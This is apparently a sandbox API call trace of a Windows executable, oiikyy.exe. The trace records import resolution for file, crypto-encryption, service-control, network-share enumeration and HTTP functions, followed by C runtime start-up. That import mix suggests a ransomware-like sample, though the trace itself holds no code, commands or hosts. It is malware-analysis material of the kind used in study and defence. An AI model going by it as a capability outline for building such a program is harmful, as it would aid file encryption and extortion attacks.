	[0048.064] GetProcAddress (hModule=0x76d30000, lpProcName="ReadFile") returned 0x76d43ed3
	[0048.064] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryW") returned 0x76d4492b
	[0048.064] GetProcAddress (hModule=0x76d30000, lpProcName="UnregisterWaitEx") returned 0x76d6b921
	[0048.064] GetProcAddress (hModule=0x76d30000, lpProcName="QueryDepthSList") returned 0x77c7471c
	[0048.064] GetProcAddress (hModule=0x76d30000, lpProcName="InterlockedPopEntrySList") returned 0x77c74770
	[0048.064] GetProcAddress (hModule=0x76d30000, lpProcName="ReleaseSemaphore") returned 0x76d5d3ab
	[0048.064] GetProcAddress (hModule=0x76d30000, lpProcName="DuplicateHandle") returned 0x76d41886
	[0048.065] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f
	[0048.065] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersionExW") returned 0x76d41ae5
	[0048.065] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleA") returned 0x76d41245
	[0048.065] GetProcAddress (hModule=0x76d30000, lpProcName="UnregisterWait") returned 0x76dce6ab
	[0048.065] GetProcAddress (hModule=0x76d30000, lpProcName="RegisterWaitForSingleObject") returned 0x76d6cb05
	[0048.065] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadAffinityMask") returned 0x76d605a0
	[0048.065] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcessAffinityMask") returned 0x76d4a871
	[0048.065] GetProcAddress (hModule=0x76d30000, lpProcName="GetNumaHighestNodeNumber") returned 0x76dc20b2
	[0048.065] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteTimerQueueTimer") returned 0x76d5f7d3
	[0048.065] GetProcAddress (hModule=0x76d30000, lpProcName="ChangeTimerQueueTimer") returned 0x76dc40eb
	[0048.065] GetProcAddress (hModule=0x76d30000, lpProcName="CreateTimerQueueTimer") returned 0x76d5f7eb
	[0048.065] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalProcessorInformation") returned 0x76dc4761
	[0048.065] GetProcAddress (hModule=0x76d30000, lpProcName="GetThreadPriority") returned 0x76d443bf
	[0048.065] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadPriority") returned 0x76d432bb
	[0048.066] GetProcAddress (hModule=0x76d30000, lpProcName="SignalObjectAndWait") returned 0x76d5f8a4
	[0048.066] GetProcAddress (hModule=0x76d30000, lpProcName="SetEvent") returned 0x76d416c5
	[0048.066] GetProcAddress (hModule=0x76d30000, lpProcName="CreateTimerQueue") returned 0x76d6b020
	[0048.066] GetProcAddress (hModule=0x76d30000, lpProcName="WriteConsoleW") returned 0x76d67aca
	[0048.066] GetProcAddress (hModule=0x76d30000, lpProcName="GetConsoleMode") returned 0x76d41328
	[0048.066] GetProcAddress (hModule=0x76d30000, lpProcName="GetConsoleCP") returned 0x76de7bff
	[0048.066] GetProcAddress (hModule=0x76d30000, lpProcName="FlushFileBuffers") returned 0x76d4469b
	[0048.066] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35
	[0048.066] GetProcAddress (hModule=0x76d30000, lpProcName="HeapSize") returned 0x77c73002
	[0048.066] GetProcAddress (hModule=0x76d30000, lpProcName="GetStringTypeW") returned 0x76d41946
	[0048.066] GetProcAddress (hModule=0x76d30000, lpProcName="SetStdHandle") returned 0x76dc454f
	[0048.066] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeSListHead") returned 0x77c794a4
	[0048.066] GetProcAddress (hModule=0x76d30000, lpProcName="UnhandledExceptionFilter") returned 0x76d6772f
	[0048.066] GetProcAddress (hModule=0x76d30000, lpProcName="SetUnhandledExceptionFilter") returned 0x76d487c9
	[0048.067] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcess") returned 0x76d41809
	[0048.067] GetProcAddress (hModule=0x76d30000, lpProcName="IsProcessorFeaturePresent") returned 0x76d45235
	[0048.067] GetProcAddress (hModule=0x76d30000, lpProcName="IsDebuggerPresent") returned 0x76d44a5d
	[0048.067] GetProcAddress (hModule=0x76d30000, lpProcName="GetStartupInfoW") returned 0x76d44d40
	[0048.067] GetProcAddress (hModule=0x76d30000, lpProcName="QueryPerformanceCounter") returned 0x76d41725
	[0048.067] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessId") returned 0x76d411f8
	[0048.067] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentThreadId") returned 0x76d41450
	[0048.067] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemTimeAsFileTime") returned 0x76d43509
	[0048.067] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForSingleObjectEx") returned 0x76d41151
	[0048.067] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff
	[0048.067] GetProcAddress (hModule=0x76d30000, lpProcName="SwitchToThread") returned 0x76d5efec
	[0048.067] GetProcAddress (hModule=0x76d30000, lpProcName="GetExitCodeThread") returned 0x76d5d5b5
	[0048.067] GetProcAddress (hModule=0x76d30000, lpProcName="GetNativeSystemInfo") returned 0x76d510b5
	[0048.067] GetProcAddress (hModule=0x76d30000, lpProcName="EnterCriticalSection") returned 0x77c622b0
	[0048.068] GetProcAddress (hModule=0x76d30000, lpProcName="LeaveCriticalSection") returned 0x77c62270
	[0048.081] GetProcAddress (hModule=0x76d30000, lpProcName="TryEnterCriticalSection") returned 0x77c72500
	[0048.081] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteCriticalSection") returned 0x77c745f5
	[0048.081] GetProcAddress (hModule=0x76d30000, lpProcName="SetLastError") returned 0x76d411a9
	[0048.081] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76d41916
	[0048.081] GetProcAddress (hModule=0x76d30000, lpProcName="CreateEventW") returned 0x76d4183e
	[0048.081] GetProcAddress (hModule=0x76d30000, lpProcName="TlsAlloc") returned 0x76d449ad
	[0048.081] GetProcAddress (hModule=0x76d30000, lpProcName="TlsGetValue") returned 0x76d411e0
	[0048.081] GetProcAddress (hModule=0x76d30000, lpProcName="TlsSetValue") returned 0x76d414fb
	[0048.081] GetProcAddress (hModule=0x76d30000, lpProcName="TlsFree") returned 0x76d43587
	[0048.082] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcAddress") returned 0x76d41222
	[0048.082] GetProcAddress (hModule=0x76d30000, lpProcName="QueryPerformanceFrequency") returned 0x76d441f0
	[0048.082] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentThread") returned 0x76d417ec
	[0048.082] GetProcAddress (hModule=0x76d30000, lpProcName="GetThreadTimes") returned 0x76dc53eb
	[0048.082] GetProcAddress (hModule=0x76d30000, lpProcName="RtlUnwind") returned 0x76d6d1c3
	[0048.082] GetProcAddress (hModule=0x76d30000, lpProcName="InterlockedPushEntrySList") returned 0x77c74757
	[0048.082] GetProcAddress (hModule=0x76d30000, lpProcName="InterlockedFlushSList") returned 0x77c72775
	[0048.082] GetProcAddress (hModule=0x76d30000, lpProcName="RaiseException") returned 0x76d458a6
	[0048.082] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb
	[0048.082] GetProcAddress (hModule=0x76d30000, lpProcName="FreeLibrary") returned 0x76d434c8
	[0048.082] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryExW") returned 0x76d4495d
	[0048.082] GetProcAddress (hModule=0x76d30000, lpProcName="ExitThread") returned 0x77c9d598
	[0048.082] GetProcAddress (hModule=0x76d30000, lpProcName="FreeLibraryAndExitThread") returned 0x76d5d582
	[0048.083] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleExW") returned 0x76d44a6f
	[0048.083] GetProcAddress (hModule=0x76d30000, lpProcName="GetStdHandle") returned 0x76d451b3
	[0048.083] GetProcAddress (hModule=0x76d30000, lpProcName="LCMapStringW") returned 0x76d417b9
	[0048.083] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileType") returned 0x76d43531
	[0048.083] GetProcAddress (hModule=0x76d30000, lpProcName="FindFirstFileExW") returned 0x76d51811
	[0048.083] GetProcAddress (hModule=0x76d30000, lpProcName="IsValidCodePage") returned 0x76d44493
	[0048.083] GetProcAddress (hModule=0x76d30000, lpProcName="GetACP") returned 0x76d4179c
	[0048.083] GetProcAddress (hModule=0x76d30000, lpProcName="GetOEMCP") returned 0x76d6d1a1
	[0048.083] GetProcAddress (hModule=0x76d30000, lpProcName="GetCPInfo") returned 0x76d45189
	[0048.083] GetProcAddress (hModule=0x76d30000, lpProcName="GetCommandLineA") returned 0x76d451a1
	[0048.083] GetProcAddress (hModule=0x76d30000, lpProcName="GetCommandLineW") returned 0x76d45223
	[0048.083] GetProcAddress (hModule=0x76d30000, lpProcName="GetEnvironmentStringsW") returned 0x76d451e3
	[0048.083] GetProcAddress (hModule=0x76d30000, lpProcName="FreeEnvironmentStringsW") returned 0x76d451cb
	[0048.083] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77710000
	[0048.084] GetProcAddress (hModule=0x77710000, lpProcName="CryptAcquireContextA") returned 0x777191dd
	[0048.084] GetProcAddress (hModule=0x77710000, lpProcName="CryptDestroyKey") returned 0x7771c51a
	[0048.084] GetProcAddress (hModule=0x77710000, lpProcName="CloseServiceHandle") returned 0x7772369c
	[0048.084] GetProcAddress (hModule=0x77710000, lpProcName="CryptEncrypt") returned 0x7773779b
	[0048.084] GetProcAddress (hModule=0x77710000, lpProcName="OpenSCManagerW") returned 0x7771ca64
	[0048.084] GetProcAddress (hModule=0x77710000, lpProcName="ControlService") returned 0x77737144
	[0048.084] GetProcAddress (hModule=0x77710000, lpProcName="CryptImportKey") returned 0x7771c532
	[0048.084] GetProcAddress (hModule=0x77710000, lpProcName="OpenServiceW") returned 0x7771ca4c
	[0048.084] GetProcAddress (hModule=0x77710000, lpProcName="CryptReleaseContext") returned 0x7771e124
	[0048.084] GetProcAddress (hModule=0x77710000, lpProcName="CryptAcquireContextW") returned 0x7771df14
	[0048.085] GetProcAddress (hModule=0x77710000, lpProcName="CryptGenRandom") returned 0x7771dfc8
	[0048.085] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x759d0000
	[0051.786] GetProcAddress (hModule=0x759d0000, lpProcName="SHGetFolderPathW") returned 0x75a55708
	[0051.786] GetProcAddress (hModule=0x759d0000, lpProcName="ShellExecuteW") returned 0x759e3c71
	[0051.786] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x76620000
	[0053.700] GetProcAddress (hModule=0x76620000, lpProcName="CoUninitialize") returned 0x766686d3
	[0053.701] GetProcAddress (hModule=0x76620000, lpProcName="CoCreateInstance") returned 0x76669d0b
	[0053.701] GetProcAddress (hModule=0x76620000, lpProcName="CoInitialize") returned 0x7663b636
	[0053.701] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x76e40000
	[0054.560] GetProcAddress (hModule=0x76e40000, lpProcName=0x2) returned 0x76e44642
	[0054.561] GetProcAddress (hModule=0x76e40000, lpProcName=0x9) returned 0x76e43eae
	[0054.561] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x75660000
	[0054.918] GetProcAddress (hModule=0x75660000, lpProcName="WNetEnumResourceW") returned 0x75663058
	[0054.918] GetProcAddress (hModule=0x75660000, lpProcName="WNetCloseEnum") returned 0x75662dd6
	[0054.918] GetProcAddress (hModule=0x75660000, lpProcName="WNetOpenEnumW") returned 0x75662f06
	[0054.918] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x772f0000
	[0054.919] GetProcAddress (hModule=0x772f0000, lpProcName="PathCombineW") returned 0x7730c39c
	[0054.919] GetProcAddress (hModule=0x772f0000, lpProcName="wnsprintfW") returned 0x7731ef87
	[0054.919] GetProcAddress (hModule=0x772f0000, lpProcName="wnsprintfA") returned 0x7731edae
	[0054.919] GetProcAddress (hModule=0x772f0000, lpProcName="StrCmpNA") returned 0x7731c57c
	[0054.919] GetProcAddress (hModule=0x772f0000, lpProcName="StrStrA") returned 0x7731c45b
	[0054.920] GetProcAddress (hModule=0x772f0000, lpProcName="StrStrW") returned 0x772fe52d
	[0054.920] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x758d0000
	[0058.050] GetProcAddress (hModule=0x758d0000, lpProcName="InternetCrackUrlA") returned 0x758dd075
	[0058.050] GetProcAddress (hModule=0x758d0000, lpProcName="HttpOpenRequestW") returned 0x758f4a42
	[0058.050] GetProcAddress (hModule=0x758d0000, lpProcName="InternetQueryOptionW") returned 0x758e7ed7
	[0058.051] GetProcAddress (hModule=0x758d0000, lpProcName="InternetQueryDataAvailable") returned 0x758f5e5d
	[0058.051] GetProcAddress (hModule=0x758d0000, lpProcName="InternetOpenW") returned 0x758f9197
	[0058.051] GetProcAddress (hModule=0x758d0000, lpProcName="InternetCrackUrlW") returned 0x75918930
	[0058.051] GetProcAddress (hModule=0x758d0000, lpProcName="HttpSendRequestW") returned 0x758fba12
	[0058.051] GetProcAddress (hModule=0x758d0000, lpProcName="InternetCloseHandle") returned 0x758eab49
	[0058.051] GetProcAddress (hModule=0x758d0000, lpProcName="InternetConnectW") returned 0x758f492c
	[0058.051] GetProcAddress (hModule=0x758d0000, lpProcName="InternetSetOptionW") returned 0x758e7741
	[0058.051] GetProcAddress (hModule=0x758d0000, lpProcName="InternetReadFile") returned 0x758eb406
	[0058.051] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x77230000
	[0058.896] GetProcAddress (hModule=0x77230000, lpProcName=0x10) returned 0x77236b0e
	[0058.896] GetProcAddress (hModule=0x77230000, lpProcName=0x4) returned 0x77236bdd
	[0058.896] GetProcAddress (hModule=0x77230000, lpProcName=0x3) returned 0x77233918
	[0058.897] GetProcAddress (hModule=0x77230000, lpProcName=0xb) returned 0x7723311b
	[0058.897] GetProcAddress (hModule=0x77230000, lpProcName=0x13) returned 0x77236f01
	[0058.897] GetProcAddress (hModule=0x77230000, lpProcName=0x17) returned 0x77233eb8
	[0058.897] GetProcAddress (hModule=0x77230000, lpProcName=0x9) returned 0x77232d8b
	[0058.897] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x755a0000
	[0059.775] GetProcAddress (hModule=0x755a0000, lpProcName="atexit") returned 0x755bc544
	[0059.775] atexit (param_1=0x1ca0920) returned 0
	[0059.778] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18eeec | out: lpSystemTimeAsFileTime=0x18eeec*(dwLowDateTime=0x91767e70, dwHighDateTime=0x1d60e1e)) 
	[0059.778] GetCurrentThreadId () returned 0xb38
	[0059.778] GetCurrentProcessId () returned 0xae4
	[0059.778] QueryPerformanceCounter (in: lpPerformanceCount=0x18eee4 | out: lpPerformanceCount=0x18eee4*=17980974315) returned 1
	[0059.823] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
	[0059.830] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0
	[0059.830] GetLastError () returned 0x57
	[0059.834] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0
	[0059.834] GetLastError () returned 0x57
	[0059.834] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76d30000
	[0059.834] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSectionEx") returned 0x76d44d28
	[0059.838] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0059.838] GetLastError () returned 0x57
	[0059.838] GetProcAddress (hModule=0x76d30000, lpProcName="FlsAlloc") returned 0x76d44f2b
	[0059.838] GetProcAddress (hModule=0x76d30000, lpProcName="FlsSetValue") returned 0x76d44208
	[0059.842] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0
	[0059.842] GetLastError () returned 0x57
	[0059.842] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0
	[0059.842] GetLastError () returned 0x57
	[0059.842] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76d30000
	[0059.842] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSectionEx") returned 0x76d44d28
	[0059.842] GetProcessHeap () returned 0x300000
	[0059.842] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0059.842] GetLastError () returned 0x57
	[0059.843] GetProcAddress (hModule=0x76d30000, lpProcName="FlsAlloc") returned 0x76d44f2b
	[0059.843] GetLastError () returned 0x57
	[0059.843] GetProcAddress (hModule=0x76d30000, lpProcName="FlsGetValue") returned 0x76d41252
	[0059.843] GetProcAddress (hModule=0x76d30000, lpProcName="FlsSetValue") returned 0x76d44208
	[0059.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x364) returned 0x35f278
	[0059.846] SetLastError (dwErrCode=0x57) 
	[0059.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xe00) returned 0x35f5e8
	[0059.889] GetStartupInfoW (in: lpStartupInfo=0x18ee24 | out: lpStartupInfo=0x18ee24*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oiikyy.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4244d0, hStdOutput=0xbf419cd1, hStdError=0xfffffffe)) 
	[0059.889] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0059.889] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0059.889] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0059.889] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oiikyy.exe\" "
	[0059.890] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oiikyy.exe\" "
	[0059.895] GetACP () returned 0x4e4
	[0059.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x220) returned 0x360bf0
	[0059.895] IsValidCodePage (CodePage=0x4e4) returned 1
	[0059.895] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18ee44 | out: lpCPInfo=0x18ee44) returned 1
	[0059.895] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18e70c | out: lpCPInfo=0x18e70c) returned 1
	[0059.895] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18ed20, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0059.897] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18ed20, cbMultiByte=256, lpWideCharStr=0x18e4a8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
	[0059.897] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18e720 | out: lpCharType=0x18e720) returned 1
	[0059.900] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18ed20, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0059.900] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18ed20, cbMultiByte=256, lpWideCharStr=0x18e468, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
	[0059.900] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0059.900] GetLastError () returned 0x57
	[0059.900] GetProcAddress (hModule=0x76d30000, lpProcName="LCMapStringEx") returned 0x76dc47f1
	[0059.900] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
	[0059.900] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18e258, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256
	[0059.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18ec20, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x8d\x95\x1f¿\\î\x18", lpUsedDefaultChar=0x0) returned 256
	[0059.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18ed20, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0059.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18ed20, cbMultiByte=256, lpWideCharStr=0x18e478, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
